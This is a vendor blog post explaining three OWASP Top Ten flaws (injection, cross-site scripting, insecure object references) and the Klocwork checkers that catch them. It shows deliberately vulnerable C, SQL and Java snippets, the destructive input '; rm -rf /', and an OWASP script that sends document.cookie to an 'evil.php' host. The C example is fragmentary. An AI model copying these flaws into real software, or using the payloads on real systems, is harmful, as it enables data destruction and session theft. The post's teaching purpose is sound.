OWASP Top Ten: What you need to know

on May 7, 14 • by Roy Sarkar • with No Comments

Let’s examine three vulnerabilities on OWASP’s 2013 list to see how Klocwork’s static analysis helps find them for you...

Home » Software Security » OWASP Top Ten: What you need to know

If you’re concerned about application security and what it means for code, then you’ve probably heard of the Open Web Application Security Project (OWASP). This organization is an international not-for-profit foundation dedicated to improving software security through education. Developers use the OWASP Top 10 list of common and exploitable security vulnerabilities to protect their applications and users. The list is based on over five hundred thousand vulnerabilities and is referenced by many standards, books, and organizations including NIST, DISA and the World Wide Web Consortium (W3C).

Let’s examine three vulnerabilities on OWASP’s 2013 list to see how Klocwork’s static analysis helps find them for you.

A1 – Injection

Injection flaws allow an attacker to insert undesired commands into your application through input that’s not validated. The most common type of this exploit is SQL injection, or executing an SQL command against a database using input that wasn’t validated (such as "SELECT * FROM user_data WHERE userid= '" + account + "'" where account isn’t previously checked). Another type is command injection, which looks like this:

int main(char* argc, char** argv)
    char cmd[MAXPATH] = "/usr/bin/cat ";
    strcat(cmd, argv[1]);

    return 0;

Since the user-supplied input, argv, isn’t checked before executing a system command, it’s possible that undesired commands could be executed. Imagine if "; rm -rf /" was passed in – the entire root directory would be deleted!

Klocwork has a family of checkers that detects the use of this type of tainted data in code. For the above example, SV.TAINTED.INJECTION would find the flaw. To learn more details about the different types of injection flaws and how to fix them, read this white paper (PDF download) or take this interactive tutorial on injection attacks.

A3 – Cross-Site Scripting (XSS)

The most common type of security flaw in web applications today is cross-site scripting. XSS occurs when unvalidated user data is included in a page sent to a client’s browser, allowing an attacker to execute scripts. There are two main types of XSS attack, “stored” which refers to an attack persisted on a server for later distribution and “reflected”, which refers to an attack initiated through data provided by a web client. Here’s an example from OWASP:

<br />
<SCRIPT type="text/javascript"><br />
var adr = '../evil.php?cakemonster=' + escape(document.cookie);<br />
</SCRIPT><br />

This code allows an attacker to steal a cookie from an authenticated user by passing the escaped content to the evil.php script via the cakemonster variable. If evil.php is sending this content elsewhere, such as storing to a file, the attacker can use it.

Klocwork would find this type of error using the SV.XSS.REF checker. To read more about XSS and learn some mitigation strategies, read this white paper (PDF download).

A4 – Insecure Direct Object References

This type of vulnerability occurs when your application uses the actual name or key of an object without checking that it’s being used by an authorized user. This could result in an attacker compromising data used by the object. This example from our checker documentation shows how it’s done:

public void processUserProfile(ServletRequest req) throws IOException
    String userName = req.getParameter("userName");
    String profile = profileDir + File.separator + userName;
    BufferedReader reader = new BufferedReader(new FileReader(profile));


Klocwork’s SV.PATH checker flags a vulnerability where profile is used to access a file on the local filesystem. Since profile includes the unvalidated userName data, this is a potential attack vector that could compromise the system.

These are just three of the OWASP Top 10 vulnerabilities that Klocwork would find in your code. Although these are simple examples, consider how difficult it would be to find them manually if this code was spread across multiple functions or built by multiple developers.

Read the next part here where we cover more OWASP items and how Klocwork handles them.

Related Posts

Leave a Reply

Your email address will not be published. Required fields are marked *

Scroll to top